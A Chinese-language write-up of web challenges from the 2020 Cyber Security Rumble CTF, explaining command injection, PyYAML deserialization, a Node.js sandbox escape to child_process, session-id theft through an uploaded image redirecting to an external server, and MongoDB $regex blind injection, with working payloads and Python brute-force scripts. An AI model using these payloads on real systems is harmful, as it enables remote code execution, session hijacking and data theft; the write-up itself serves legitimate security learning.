2020-CSR-CTF-Web-覆盤以及分析
本文首發於“合天網安實驗室”作者:landvsec
本文涉及靶場知識點練習:
CTF實驗室
0x01 前言
2020 年 10 月 31 日萬聖節舉辦的德國比賽,介面很有特色,web 題目質量很高,隊伍只出了三道,結束後通通覆盤了一遍深入理解。題目從易到難一共有十道,其中九道有出,本篇只詳細分析解數多的五道,其餘四道比賽時只有個位數 solve ,打算後續專門寫四篇結合相應漏洞講述。
本篇相關亮點:
- Python yaml 反序列化
- Node.JS RCE
- NoSQL 盲注
0x02 題解
Cyberwall
開胃小菜。
網頁原始碼有密碼可登入。
路由 debug 命令注入。
127.0.0.1|ls
127.0.0.1|cat super_secret_data.txt
Wheels n Whales
給了原始碼
web.py
import yaml from flask import redirect, Flask, render_template, request, abort from flask import url_for, send_from_directory, make_response, Response import flag app = Flask(__name__) EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34} @app.route("/") def index(): return render_template("index.html.jinja", active="home") class Whale: def __init__(self, name, image_num, weight): self.name = name self.image_num = image_num self.weight= weight def dump(self): return yaml.dump(self.__dict__) @app.route("/whale", methods=["GET", "POST"]) def whale(): if request.method == "POST": name = request.form["name"] # 長度限制 10 if len(name) > 10: return make_response("Name to long. Whales can only understand names up to 10 chars", 400) image_num = request.form["image_num"] weight = request.form["weight"] whale = Whale(name, image_num, weight) # getflag 注意這裡 if whale.__dict__ == EASTER_WHALE: return make_response(flag.get_flag(), 200) return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200) return make_response(render_template("whale_builder.html.jinja", active="whale"), 200) class Wheel: def __init__(self, name, image_num, diameter): self.name = name self.image_num = image_num self.diameter = diameter @staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader)) def dump(self): return yaml.dump(self.__dict__) @app.route("/wheel", methods=["GET", "POST"]) def wheel(): if request.method == "POST": if "config" in request.form: wheel = Wheel.from_configuration(request.form["config"]) return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200) name = request.form["name"] image_num = request.form["image_num"] diameter = request.form["diameter"] wheel = Wheel(name, image_num, diameter) print(wheel.dump()) return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200) return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000)
flask 框架,yaml 序列化。
整體邏輯很簡單,wheel 和 whale 兩個類,whale 需要我們建立屬性值與 EASTER_WHALE 相同的類物件,但 name 屬性明顯過不了 if ,長度限制 10 。
wheel 就沒有這麼多限制,而且我們注意到,除了用建構函式建立 wheel 例項外,還有這段:
class Wheel: ... @staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader)) def dump(self): return yaml.dump(self.__dict__) @app.route("/wheel", methods=["GET", "POST"]) def wheel(): if request.method == "POST": if "config" in request.form: wheel = Wheel.from_configuration(request.form["config"]) return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
我們結合 Pyyaml 官方文件 來理解一下上述程式碼做了什麼,有何利用點:
yaml.dump(data, Dumper=Dumper) yaml.dump 函式接受一個 Python 物件並生成一個 YAML 文件。 yaml.load(stream, Loader=Loader) yaml.load 函式將 YAML 文件轉換為 Python 物件,返回一個 Python 物件。 yaml.load 接受一個位元組字串、一個 Unicode 字串、一個開啟的二進位制檔案物件或一個開啟的文字檔案物件。位元組字串或檔案必須使用 utf-8、 utf-16-be 或 utf-16-le 編碼進行編碼。yaml.load 通過檢查字串/檔案開頭的 BOM (位元組順序標記) 序列來檢測編碼。如果沒有提供 BOM,則假定採用 utf-8編碼。 ```python yaml.load(u""" ... hello: Привет! ... """) # In Python 3, do not use the 'u' prefix {'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'} stream = file('document.yaml', 'r') # 'document.yaml' contains a single YAML document. yaml.load(stream) [...] # A Python object corresponding to the document. ``` 對於這個函式,官方也有警告: 用從不可信來源接收的任何資料呼叫 yaml.load 是不安全的!yaml.load 和 pickle.load 一樣強大,因此可以呼叫任何 Python 函式。 既然 yaml.load 可以呼叫任何 Python 函式,那我們可以不用想辦法建立 whale 去使之與 EASTER_WHALE 相等,直接 flag.get_flag() 即可。 結合題目程式碼: python @staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader)) 這裡的 yaml.load 從 config 中讀取 yaml 檔案建立 wheel 物件,加上 Loader=yaml.Loader 只是為了避免警告。 而 config 則是來自我們 post 的表單資料: python if request.method == "POST": if "config" in request.form: wheel = Wheel.from_configuration(request.form["config"]) 到這裡思路就很明晰了,我們從路由 wheel post config 物件,config 的 name 用我們精心構造的可以 flag.get_flag() 的語句,其他引數因為是數字型別所以隨便寫即可。
我們先要想辦法序列化一個物件傳入 yaml.load ,而對應官方文件有:
!!python/object:module.Class { attribute: value, ... } 任何可選物件都可以使用 !!python/object 進行序列化。 為了支援 pickle 協議,還提供了兩種額外形式。 !!python/object/new:module.Class [argument, ...] !!python/object/apply:module.function [argument, ...] ```python class Hero: ... def init(self, name, hp, sp): ... self.name = name ... self.hp = hp ... self.sp = sp ... def repr(self): ... return "%s(name=%r, hp=%r, sp=%r)" % ( ... self.class.name, self.name, self.hp, self.sp) yaml.load(""" ... !!python/object:main.Hero ... name: Welthyr Syxgon ... hp: 1200 ... sp: 0 ... """) Hero(name='Welthyr Syxgon', hp=1200, sp=0) ``` 如上例,Hero 類有三個屬性 name、hp、sp ,我們可以通過 !!python/object 利用 yaml.load 成功序列化出來。
所以我們可以構造 payload 如下:
config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}
CSRegex
頁面是正則表示式測試工具。
nodejs 筆者沒有相關開發經驗,寫的可能有所欠缺,所以下文僅作為參考。
我們應首先判斷這個網站是用什麼寫的,當然 ctf 首先想到的是 node ,這種類似的題在 picoCTF見過,這裡擺出來只是為了介紹一下,判斷 node 簡便的方法有兩種:
- 當訪問一個不存在的路徑時,會得到 node 錯誤 “ Can not GET/whatever” ,響應頭部有 X-Powered-By: Express ( Express 框架開發)
- 利用 Wappalyzer 之類的外掛瞭解網站所用技術
但明顯不能用到這裡:
作為第二種方式的代替,我比賽時找到了 https://builtwith.com/
發現了 underscore.js ,nodejs 庫。
同時 國外師傅 是利用 fetch 是否定義來判斷該網站是執行在 node 上還是瀏覽器上的:
"fetch is not defined" -- we are running on node and not a web browser
通過觀察 JavaScript Code ,我們可以先閉合掉前面的正則表示式,試著拼接一些命令來獲取更多資訊,最後再註釋掉:
// test \w/gi);let a=10;return a;/ ------ '123'.match(/\w/gi);let a=10;return a;//gi) ------ { "result": 10 }
既然有了 RCE ,我們先來考慮讀系統檔案該怎麼構造 payload ,node 有 fs 模組用於對系統檔案及目錄進行讀寫操作,需要用 require('fs') 來載入,但上下文裡不一定有 require ,require 並不是可以全域性訪問的。
見 官方文件 和 示例 :
require() This variable may appear to be global but is not. See require(). json (function(){Function('console.log(require("fs").readFileSync("/etc/passwd"))')()})() //ReferenceError: require is not defined
這題就沒有,而 process.mainModule 屬性提供了一種獲取 require.main 的替代方式,換言之,我們可以通過 process.mainModule.require('fs') 來載入,然後通過 fs.readdirSync(path[, options]) 同步返回一個包含“指定目錄下所有檔名稱”的陣列物件。
// test \w/gi); let files = []; const fs = process.mainModule.require('fs'); fs.readdirSync(".").forEach(file => files.push(file) ); return files;/ ------ '123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi) ------ { "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] }
成功,那麼接下來只要讀取這些檔案,結果在 dockerfile 中:
// test \w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;/ ------ '123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi)
當然也可以直接 cat 讀取檔案:
先給出拼接後的 JavaScript Code :
''+constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' \n'.match(/\w/gi)
同上,只不過是選擇先閉合了要匹配的字串,獲得全域性上下文後直接匯入 child_process 來執行系統命令。
payload( exp 學習自 CVE-2019-10758 PoC):
'+this.constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+'
imghost
檔案上傳。
PHP,dirsearch 掃目錄有:
得到 file.php 原始碼:
<?php session_start(); $filename = substr($_SERVER["DOCUMENT_URI"], 3); if(!file_exists("/dev/shm/uploads/" . $filename) || strlen($filename) > 24) die("<h1>404 File not found</h1>"); if($_GET["report"] == "1") { if(!file_exists("/dev/shm/reports")) mkdir("/dev/shm/reports"); if(!file_exists("/dev/shm/reports/" . $filename)) { file_put_contents("/dev/shm/reports/" . $filename, ""); } die("File has been reported, thanks for your help!"); } header("Content-Security-Policy: script-src 'none';"); echo '<object border="2px" data="/uploads/' . $filename . '?lang=en&ref=website&pd=' . md5(session_id()) . '&u=' . uniqid() . '&client=' . session_id() . '&method=direct&t=' . time() . '"></object>'; echo '<br/><a href="?report=1">Report abuse</a>'; ?>
這裡需要注意的是 HTTP 頭資訊的 Content-Security-Policy ,簡稱 CSP ,通常是用來防 XSS 的,提供了很多限制選項,這裡的 script-src 限制外部指令碼的載入,選項值是 'none' 禁止載入任何外部資源,所以基本不可能 RCE 。
結合題名,我們可以嘗試去獲取管理員的 session id 。
當我們上傳一個圖片後,點選,~/i/encrypted_filename.png 會去請求:
~/uploads/FHYVFZAsWZukicREmqTS.png?lang=en&ref=website&pd=387a36e941f19635f8f898f8e2af0dd2&u=5fa8e6669c74b&client=hluad03qhmob6onl376hlnad5h&method=direct&t=1604904550
用以校驗身份,而訪問圖片成功後,有 Report abuse ,點選 referer 同樣是來自 ~/i/encrypted_filename.png ,結合原始碼,File Report 後,會在 /dev/shm/reports/ 目錄下生成一個對應的檔案,可以合理猜測,管理員進行訪問時也會有來自 ~/i/encrypted_filename.png 的請求用來校驗身份。
綜上,我們可以利用上傳的圖片重定向到我們的伺服器用來獲取 session id 。
<img src="https://server.com/exp.php"> exp.php <?php $d = json_encode($_SERVER); $filename = __DIR__ . "/data.txt"; file_put_contents($filename, $d); ?>
然後我們可以從本地 data.txt 得到 session id ,替換後再次訪問可以從 flag.txt 得到 flag 。
本地測試了下,data.txt 讀取到 $_SERVER 的內容:
Secure Secret Sharing
原始碼
var express = require('express'); var path = require('path'); var bodyParser = require('body-parser') var fs = require('fs'); const {SHA256} = require("sha2"); var app = express(); app.use(bodyParser.urlencoded({extended: false})); var MongoClient = require('mongodb').MongoClient; const mongo_url = 'mongodb://localmongo'; const db_name = 'secrets'; const db_client = new MongoClient(mongo_url); db_client.connect(function(err) { db = db_client.db(db_name); collection = db.collection("secrets") app.listen(8080); }); app.get('/', function(request, response) { response.sendFile(path.join(__dirname + '/html/index.html')); }); // 插入資料 app.post('/secret_share', function(request, response) { let sec = request.body.sec; //sha256 雜湊,十六進位制輸出 let secid = SHA256(sec).toString("hex"); //無 csr 的情況插入 if (sec.toLowerCase().includes("csr")) { response.redirect('/'); } else { collection.insertOne({id: secid, secret: sec}); response.redirect('/secret_share?secid=' + secid); } }); //通過 secid 進行檢索 app.get('/secret_share', function(request, response) { var secid = request.query.secid; var sec = collection.findOne({id: secid}); sec.then(sec => { fs.readFile(__dirname +'/html/secret.html', {encoding: 'utf-8'}, (err, data) => { try { response.send(data.replace("$secret", sec["secret"])); response.end(); } catch(e){ console.log("Error: " + e); response.status(404); response.send("id does not exist."); response.end(); } }); }, error => { console.log(error); }); }); app.get('/source', function(request, response) { fs.readFile(__filename, {encoding: 'utf-8'}, (err, data) => { response.type("text/plain"); response.send(data); response.end(); }); });
ExpressJS MongoDB
因為國內文章關於 MongoDB 注入的比較少且釋出時間早,所以我近期寫了一篇文章在部落格進行介紹,不瞭解的朋友可以先去看看:mongodb 注入初識
var sec = collection.findOne({id: secid});
由上,注入點可以確定為 secid 。
用 $ne 進行測試一下:
//test ?secid[$ne]=0 MySuperSecurePW123
因為這裡是 findOne() 只能返回第一條文件記錄,而且最重要的一點,secid 是 sha256 加密過的,雜湊值之間的差異非常大,我們不能憑 flag 的格式獲取到前幾位,所以我們改用 $regex 進行類似盲注的測試:
//test ?secid[$regex]=^0 princess //princess -> 04e77bf8f95cb3e1a36a59d1e93857c411930db646b46c218a0352e432023cf2
這樣是可行的,我們可以利用 $regex 位位遍歷 0~f ,總能找到一個內容含 CSR 的 secret ,所以我手工測試了下,發現最好的情況是前四位就可以區分不同的雜湊(開始有了 id does not exist. 的回顯)。
這裡“盲注”不像 SQL 裡面可以用二分法,要位位遍歷,所以效率非常低。
用四迴圈遍歷當然太慢了,而且出現連續三位相同的概率幾乎為 0 ,我們調換一下順序,並且用 . 代替一位,這裡因為只返回第一條文件,所以我們可以挨個試位置,所幸替換第一位就出了結果:
import requests import re class Outloop(Exception): pass try: for i in "0123456789abcdef": for j in "123456789abcdef0": for k in "23456789abcdef01": url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}".format(i, j, k) print("[i] Still looking for: "+i+j+k) response = requests.request("GET", url) if "CSR" in response.text: print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}") raise Outloop() except Outloop: pass
發 200+ 次請求得到了 flag 。
國外師傅有給出優化版本的,是把雜湊值視為了樹結構,從根節點開始(設定 0~f 中的任意值),先判斷其是否有子節點,如果有,是否有多個,優化規則如下:
如果一個節點只有一個子節點,我們假設它只會產生一個雜湊,因此我們不會遍歷子節點的路徑。
也就是假設 payload 為 ?secid[$regex]=^73 沒有子節點,那麼當然我們遍歷第三層時,就不會再去遍歷 730,731,...,73f 等;而如果 78c 有一個子節點 78c1 ,也認為其只會產生一個雜湊 78c1 ,如圖(圖源自國外師傅 wp):
可以想到,我們上面寫的指令碼其實是所有節點不管有沒有子節點都去遍歷了一遍,所以非常耗時間。
#!/usr/bin/env import requests as req import time import re import queue import hashlib URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^" # 查詢 flag 的正則表示式 regex = r"-->(.*)<!--" deadStarts = [] chars = "0123456789abcdef" # 如果父節點有多個子節點 def parentHasMoreThanOneChildren(hash): l = len(hash) - 1 if l < 0: return True url = URL + hash[:l] + '[^' + hash[l] + ']' r = req.get( url ) if r.status_code == 404: return False return True # 是否有子節點 def hasChild(hash): url = URL + hash r = req.get( url ) if r.status_code == 404: return False return True # 獲取 secret def getSecret(hash): url = URL + hash r = req.get( url ) return re.search(regex, r.text)[1] # 訪問子節點判斷是否有 flag def visitChild(hash): print(hash, end=' ') if not parentHasMoreThanOneChildren(hash): secret = getSecret(hash) print( secret ) if "csr" in secret.lower(): exit() return print('') for c in chars: if hasChild( hash + c ): visitChild( hash +c ) # 這裡設定的根節點為 6 visitChild( '6' ) 實際上確實是很快。
0x03 後記
這次比賽打完覆盤收穫不少,相比於一些比賽總是模改題還是非常不錯的,也感覺到自己開發經驗欠缺,比如 node 只在原型鏈汙染有接觸過一點點,但卻沒有深入,還是要繼續努力。